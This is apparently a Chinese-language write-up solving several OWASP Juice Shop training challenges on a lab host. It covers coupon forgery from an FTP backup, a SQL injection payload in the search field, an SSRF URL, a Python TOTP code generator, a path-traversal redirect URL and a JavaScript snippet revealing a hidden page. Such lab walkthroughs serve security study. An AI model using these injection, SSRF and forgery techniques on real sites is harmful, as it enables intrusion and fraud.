伪造的优惠券
在ftp上用截断把coupons_2013.md.bak下载下来查看,这是优惠卷来的
这个优惠券前面是2013年的,也就是对应了JAN13。后面是打几折,今天是2020年想打八折那么就是APR20-80试试看。
进行加密后放在添加优惠卷中,然后下单即可
圣诞节特别
我们在搜索中放在单引号然后抓包,改成’))--即可爆出所有商品
加入购物车购买即可
SSRF
随便找张图粘体上去会发现图片换了,所以这应该就是ssrf了
把这段url粘体上去即可
http://192.168.109.128:82/solve/challenges/server ?key=tRy_H4rd3r_n0thIng_iS_Imp0ssibl3
多余的语言
用python写个程序直接跑出来即可
代码块
import base64
import hashlib
import hmac
import time
import datetime
import random as _random
def byte_secret(secret):
missing_padding = len(secret) % 8
if missing_padding != 0:
secret += '=' * (8 - missing_padding)
return base64.b32decode(secret, casefold=True)
def int_to_bytestring(i, padding=8):
result = bytearray()
while i != 0:
result.append(i & 0xFF)
i >>= 8
return bytes(bytearray(reversed(result)).rjust(padding, b'\0'))
#根据约定的密钥计算当前动态密码
def generate_otp(secret):
for_time = datetime.datetime.now()
i = time.mktime(for_time.timetuple())
input = int(i / 30)
digest = hashlib.sha1
digits = 6
if input < 0:
raise ValueError('input must be positive integer')
hasher = hmac.new(byte_secret(secret), int_to_bytestring(input), digest)
hmac_hash = bytearray(hasher.digest())
offset = hmac_hash[-1] & 0xf
code = ((hmac_hash[offset] & 0x7f) << 24 |
(hmac_hash[offset + 1] & 0xff) << 16 |
(hmac_hash[offset + 2] & 0xff) << 8 |
(hmac_hash[offset + 3] & 0xff))
str_code = str(code % 10 ** digits)
while len(str_code) < digits:
str_code = '0' + str_code
return str_code
#随机生成一个base32密钥
def random_base32(length=16, random=_random.SystemRandom(),
chars=list('ABCDEFGHIJKLMNOPQRSTUVWXYZ234567')):
return ''.join(
random.choice(chars)
for _ in range(length)
)
# 生成二维码地址
def getQRCodeGoogleUrl(name, secret):
return "otpauth://totp/" + name + "?secret=%s" % secret
if __name__ == '__main__':
print(type(random_base32()))
print(generate_otp('XPFBV5JAC3FS42FE'))
跨站点成像
我们在url中添加上地址即可
/#/deluxe-membership?testDecal=..%2F..%2F..%2F..%2Fredirect%3Fto%3Dhttps:%2F%2Fplacekitten.com%2Fg%2F400%2F500%3Fx%3Dhttps:%2F%2Fgithub.com%2Fbkimminich%2Fjuice-shop
区块链炒作
我们在控制台输入
"" + function() {
for (var l = [], n = 0; n < arguments.length; n++)
l[n] = arguments[n];
var e = Array.prototype.slice.call(l)
, t = e.shift();
return e.reverse().map(function(l, n) {
return String.fromCharCode(l - t - 45 - n)
}).join("")
}(25, 184, 174, 179, 182, 186) + 36669..toString(36).toLowerCase() + function() {
for (var l = [], n = 0; n < arguments.length; n++)
l[n] = arguments[n];
var e = Array.prototype.slice.call(arguments)
, t = e.shift();
return e.reverse().map(function(l, n) {
return String.fromCharCode(l - t - 24 - n)
}).join("")
}(13, 144, 87, 152, 139, 144, 83, 138) + 10..toString(36).toLowerCase()
就会看到/tokensale-ico-ea出现,然后我们访问它即可